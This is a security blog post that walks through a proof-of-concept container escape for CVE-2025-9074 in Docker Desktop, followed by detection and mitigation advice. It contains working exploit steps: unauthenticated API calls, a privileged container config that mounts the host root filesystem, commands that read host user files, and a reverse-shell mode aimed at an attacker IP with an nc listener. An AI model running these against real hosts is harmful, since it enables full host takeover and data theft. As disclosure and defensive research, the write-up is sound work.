← Blog
// PoCCVE-2025-9074#docker#container-escape#cve-2025-9074#windows

CVE-2025-9074: Docker Desktop Container Escape — Technical Breakdown

A critical unauthenticated Docker Engine API exposure in Docker Desktop < 4.44.3 allows any Linux container to escape to the host — with full administrative access on Windows. Here's the root cause, full PoC walkthrough, and why ECI did nothing to stop it.

2026-03-20

Overview

PropertyDetail
CVE IDCVE-2025-9074
CVSS Score9.3 (Critical) — CVSS v4.0
Affected SoftwareDocker Desktop < 4.44.3
Affected PlatformsWindows, macOS (Linux NOT affected)
Fixed VersionDocker Desktop 4.44.3+
Patch DateAugust 20, 2025
DiscoverersFelix Boulet, Philippe Dugré
CWECWE-668: Exposure of Resource to Wrong Sphere
PoC AuthorAmanja Francisco (0xDoomsKnight)

This is a vulnerability I researched and built a PoC for. Not theoretical — tested, documented, and confirmed working against unpatched Docker Desktop on Windows with WSL backend. The impact on a fully-patched host with ECI enabled is still a complete host takeover. That's the part worth paying attention to.


Background: How Docker Desktop Handles Networking

Docker Desktop on Windows and macOS does not run containers natively on the host OS. Instead, it spins up a lightweight Linux virtual machine — using WSL 2 on Windows and HyperKit/VZ on macOS — and runs the Docker Engine inside that VM. Your containers run inside the VM, and the Docker daemon runs inside the VM.

To allow the host to communicate with the Docker Engine, and to allow containers to reach host services, Docker Desktop creates an internal virtual network. The default subnet is 192.168.65.0/24. The gateway that containers use to reach services on the VM — including the Docker Engine API — sits at 192.168.65.1. The Docker daemon itself is reachable from within the VM (and therefore from containers) at 192.168.65.7:2375.

CODE
┌──────────────────────────────────────────────────────┐
│  Windows Host                                        │
│                                                      │
│  ┌──────────────────────────────────────────────┐   │
│  │  Docker Desktop VM (Linux)                   │   │
│  │                                              │   │
│  │  Docker Engine API ← listening on            │   │
│  │  192.168.65.7:2375  (NO AUTH, NO TLS)        │   │
│  │                                              │   │
│  │  ┌────────────────────────────────────────┐  │   │
│  │  │  Your Container                        │  │   │
│  │  │                                        │  │   │
│  │  │  curl http://192.168.65.7:2375/version │  │   │
│  │  │       ↑ works. No credentials needed.  │  │   │
│  │  └────────────────────────────────────────┘  │   │
│  └──────────────────────────────────────────────┘   │
└──────────────────────────────────────────────────────┘

Under normal circumstances, this TCP port is intentional — it is used internally for Docker Desktop's own management traffic. The assumption was that the Docker subnet is isolated enough that containers cannot reach it unless you explicitly expose it. That assumption was wrong.


The Vulnerability: Root Cause

The Docker Engine API at 192.168.65.7:2375 is reachable from within any running Linux container — without authentication and without TLS. This is the entirety of the bug.

There is no authentication middleware. There is no network policy blocking container traffic to that address. The socket is just open.

This matters because the Docker Engine API is essentially a full administrative interface to everything Docker controls:

On Windows with WSL backend, the impact goes further: you can create a new privileged container with --privileged and bind-mount the Windows host filesystem, accessible at /mnt/c (or similar) inside the container. That gives you read/write access to the entire Windows C: drive with the same permissions as the user running Docker Desktop.

Why ECI Does Not Help

Enhanced Container Isolation (ECI) is Docker Desktop's enterprise security feature designed to prevent containers from gaining elevated privileges or escaping isolation. On paper, ECI should have blocked this. In practice, it did not — the vulnerability is explicitly documented to occur regardless of ECI settings.

The reason is architectural. ECI operates on the container runtime level — it controls what a container can do within its isolation boundary using seccomp profiles, capability dropping, and namespace restrictions. But the Docker Engine API at 192.168.65.7:2375 is a network service sitting outside that isolation boundary. The container does not need to break out of its namespace to reach it. It just makes a TCP connection over the virtual network. ECI has no mechanism to block outbound TCP connections to specific subnet addresses.

This is a network exposure problem, not a container isolation problem. ECI was never designed to solve it.

Why Linux is Not Affected

Docker Desktop on Linux runs containers using the Docker Engine directly on the host — there is no intermediate VM. The Docker daemon listens on a Unix socket (/var/run/docker.sock) rather than a TCP port. Containers cannot access Unix sockets outside their own namespace unless explicitly granted socket access via a volume mount. No TCP exposure exists, therefore no attack surface.


Verification: Confirming the Exposure from Inside a Container

The fastest way to confirm a target is vulnerable — from inside a running container:

BASH
# Check if the Docker Engine API is reachable (unauthenticated)
curl -s http://192.168.65.7:2375/version | python3 -m json.tool

If the target is vulnerable, you get back clean JSON describing the Docker version, OS, architecture, and build info. If the target is patched, the connection is refused.

BASH
# List all containers running on the host
curl -s http://192.168.65.7:2375/containers/json | python3 -m json.tool

# List all images
curl -s http://192.168.65.7:2375/images/json | python3 -m json.tool

No credentials. No token. Nothing.


PoC: exploit.py — How It Works

The full PoC is available at: github.com/PtechAmanja/CVE-2025-9074-Docker-Desktop-Container-Escape

The exploit operates in two modes: command execution and reverse shell. Both work by abusing the unauthenticated Docker Engine API to create a new privileged container with the host filesystem mounted.

High-Level Attack Chain

CODE
Container → HTTP POST /containers/create (to 192.168.65.7:2375)
         → Privileged container with Binds: ["/:/hostfs"]
         → HTTP POST /containers/{id}/start
         → HTTP POST /containers/{id}/exec (command execution)
         → Output retrieved via HTTP GET /exec/{id}/start
         → Full host filesystem at /hostfs inside new container

Phase 1: Create a Privileged Escape Container

The exploit sends a POST /containers/create request to the unauthenticated API with the following critical parameters:

PYTHON
container_config = {
    "Image": "alpine",          # or any available image
    "Cmd": ["/bin/sh"],
    "HostConfig": {
        "Privileged": True,     # full capabilities
        "Binds": ["/:/hostfs"], # mount entire host FS
        "NetworkMode": "host"
    },
    "Tty": True,
    "OpenStdin": True
}

The Binds: ["/:/hostfs"] line is the key. On Windows with WSL backend, / inside the VM maps to the VM's root, and the Windows C: drive is available under /mnt/host/c or similar — accessible in full through the bind mount.

Phase 2: Execute Commands on the Host

Once the container is created and started, the exploit uses the Docker exec API to run arbitrary commands:

PYTHON
exec_config = {
    "AttachStdout": True,
    "AttachStderr": True,
    "Cmd": ["sh", "-c", user_command]
}

The response is streamed back over HTTP. No shell is required on the attacker's end — just HTTP requests.

Command Execution Mode

BASH
# Run from inside any container on a vulnerable Docker Desktop host
python3 exploit.py -u http://192.168.65.7:2375 -m cmd -c "whoami"
# Output: root

python3 exploit.py -u http://192.168.65.7:2375 -m cmd -c "id"
# Output: uid=0(root) gid=0(root)

# Read sensitive files from Windows host
python3 exploit.py -u http://192.168.65.7:2375 -m cmd \
  -c "cat /hostfs/mnt/c/Users/Administrator/Desktop/root.txt"

# List Windows users
python3 exploit.py -u http://192.168.65.7:2375 -m cmd \
  -c "ls -la /hostfs/mnt/c/Users"

# Dump Windows SAM hive (reg.exe equivalent via host FS access)
python3 exploit.py -u http://192.168.65.7:2375 -m cmd \
  -c "ls /hostfs/Windows/System32/config"

Reverse Shell Mode

BASH
# Listener on attacker machine
nc -lvnp 4444

# Trigger from inside vulnerable container
python3 exploit.py -u http://192.168.65.7:2375 -m reverse \
  -l <ATTACKER_IP> -p 4444

The reverse shell payload is injected via the exec API, launching a /bin/sh process inside the new privileged container with STDIN, STDOUT, and STDERR piped to your listener. Once connected, the host filesystem is available at /hostfs.


Real-World Impact

Windows (WSL backend) — Full Host Takeover

This is the worst-case scenario and the most common Docker Desktop configuration in enterprise environments. With WSL backend:

macOS — Container Manipulation + Partial Host Access

On macOS, the impact is somewhat constrained by the macOS sandbox and user prompts. You cannot silently mount the Mac filesystem without triggering a system prompt. However, you can still:

Any Platform — Lateral Movement via Container Network

Even where direct host filesystem access is limited, controlling the Docker Engine from inside a container gives you a pivot point into every other container on the host. You can exec into any running container — including other microservices, databases, or application containers — without their own authentication.


CVSS v4.0 Breakdown

The CVSS 9.3 score breaks down as follows:

MetricValueReasoning
Attack VectorLocalRequires execution inside a container on the target machine
Attack ComplexityLowNo special conditions — just send HTTP requests
Attack RequirementsNoneNo prerequisites beyond running a container
Privileges RequiredNoneNo credentials needed
User InteractionPassiveRequires the victim to be running Docker Desktop
Confidentiality (VS)HighFull Docker API access
Integrity (VS)HighCan modify containers, images, filesystem
Availability (VS)HighCan stop/delete all containers
Confidentiality (SS)HighFull host FS read access on Windows
Integrity (SS)HighFull host FS write access on Windows
Availability (SS)HighCan halt host-level processes

The "Subsequent System" high scores across all three axes are what push this to 9.3 — it is not just a container escape, it is a full host compromise on the most common deployment platform.


Comparison to Previous Docker Escape Techniques

This is not the first Docker escape, but it is notable for how simple it is. Prior art usually requires:

CVE-2025-9074 requires none of these. The container does not need any special capabilities or mounts. It just needs to be running on a vulnerable Docker Desktop installation. Any container — including containers running as non-root with a read-only filesystem and a strict seccomp profile — can reach the API and spawn a new privileged container. The security posture of the originating container is irrelevant.


Detection

From the Host (Docker Desktop Logs)

Unusual container creation activity at the API level should trigger alerts. Look for:

BASH
# Watch Docker events for suspicious container creation
docker events --filter type=container --filter event=create

From the Container (Network Connections)

If you have network monitoring inside containers:

BASH
# Unexpected outbound connections to 192.168.65.7:2375
ss -tnp | grep 2375
netstat -tnp | grep 192.168.65.7

Detection Script (from inside a container)

BASH
#!/bin/bash
# Quick check: is this host vulnerable?
RESPONSE=$(curl -s --connect-timeout 2 http://192.168.65.7:2375/version 2>/dev/null)
if echo "$RESPONSE" | grep -q "Version"; then
  echo "[!] VULNERABLE: Docker Engine API accessible at 192.168.65.7:2375"
  echo "[!] Docker Desktop version: $(echo $RESPONSE | python3 -c \
    "import sys,json; d=json.load(sys.stdin); print(d.get('Version','unknown'))")"
else
  echo "[+] Not vulnerable or API not reachable"
fi

Mitigation

Immediate — Update Docker Desktop

There is one real fix: update to Docker Desktop 4.44.3 or later.

BASH
# Check current version
docker --version

# Docker Desktop will show version in the About dialog
# or via: docker version

Download links:

Temporary Workarounds (If You Cannot Patch)

If immediate update is blocked by organisational policy or testing requirements, these workarounds reduce (but do not eliminate) risk:

1. Block the API from within containers using network rules. Inside the Docker VM or via a custom network policy, add a rule to drop traffic from the container subnet to port 2375 on the host IP.

2. Only run containers from trusted images. An attacker needs code execution inside a container first. Reducing the attack surface by avoiding untrusted images reduces the chance of reaching this vulnerability.

3. Monitor for API access. Set up alerting on Docker API events for container creation with privileged flags.

None of these are a substitute for patching. The only real fix is Docker Desktop 4.44.3+.


Lessons for Container Security Architecture

This vulnerability illustrates a specific class of problem that is easy to miss: administrative interfaces that assume network isolation as their only security control.

The Docker Engine API was designed to be used by trusted parties — the Docker CLI running on the host. Exposing it on a TCP socket inside the VM's internal network was a deliberate architectural choice, made with the assumption that containers could not reach that address. When that assumption proved wrong, there was nothing else in the security model to stop exploitation. No authentication, no TLS, no authorisation.

This is the same failure mode seen in Kubernetes API server misconfiguration, Elasticsearch clusters with no authentication, Redis instances bound to 0.0.0.0, and dozens of other real-world incidents. The fix in 4.44.3 blocks container access to the API endpoint at the network level — the correct approach. Defence in depth would add authentication on top of that.

For defenders: any management API that relies purely on network isolation for security should be treated as unauthenticated by default, because networks change and assumptions break. Add authentication. Always.


Timeline

DateEvent
Mid-2025Vulnerability discovered by Felix Boulet and Philippe Dugré
August 20, 2025Docker Desktop 4.44.3 released with fix, CVE published
August 28, 2025Detection scripts published by security community
March 2026PoC exploit published by 0xDoomsKnight

References


Disclaimer

This research and PoC are published for educational and defensive security purposes. Only test against systems you own or have explicit written authorisation to test. Unauthorised access to computer systems is illegal.

← Back to blog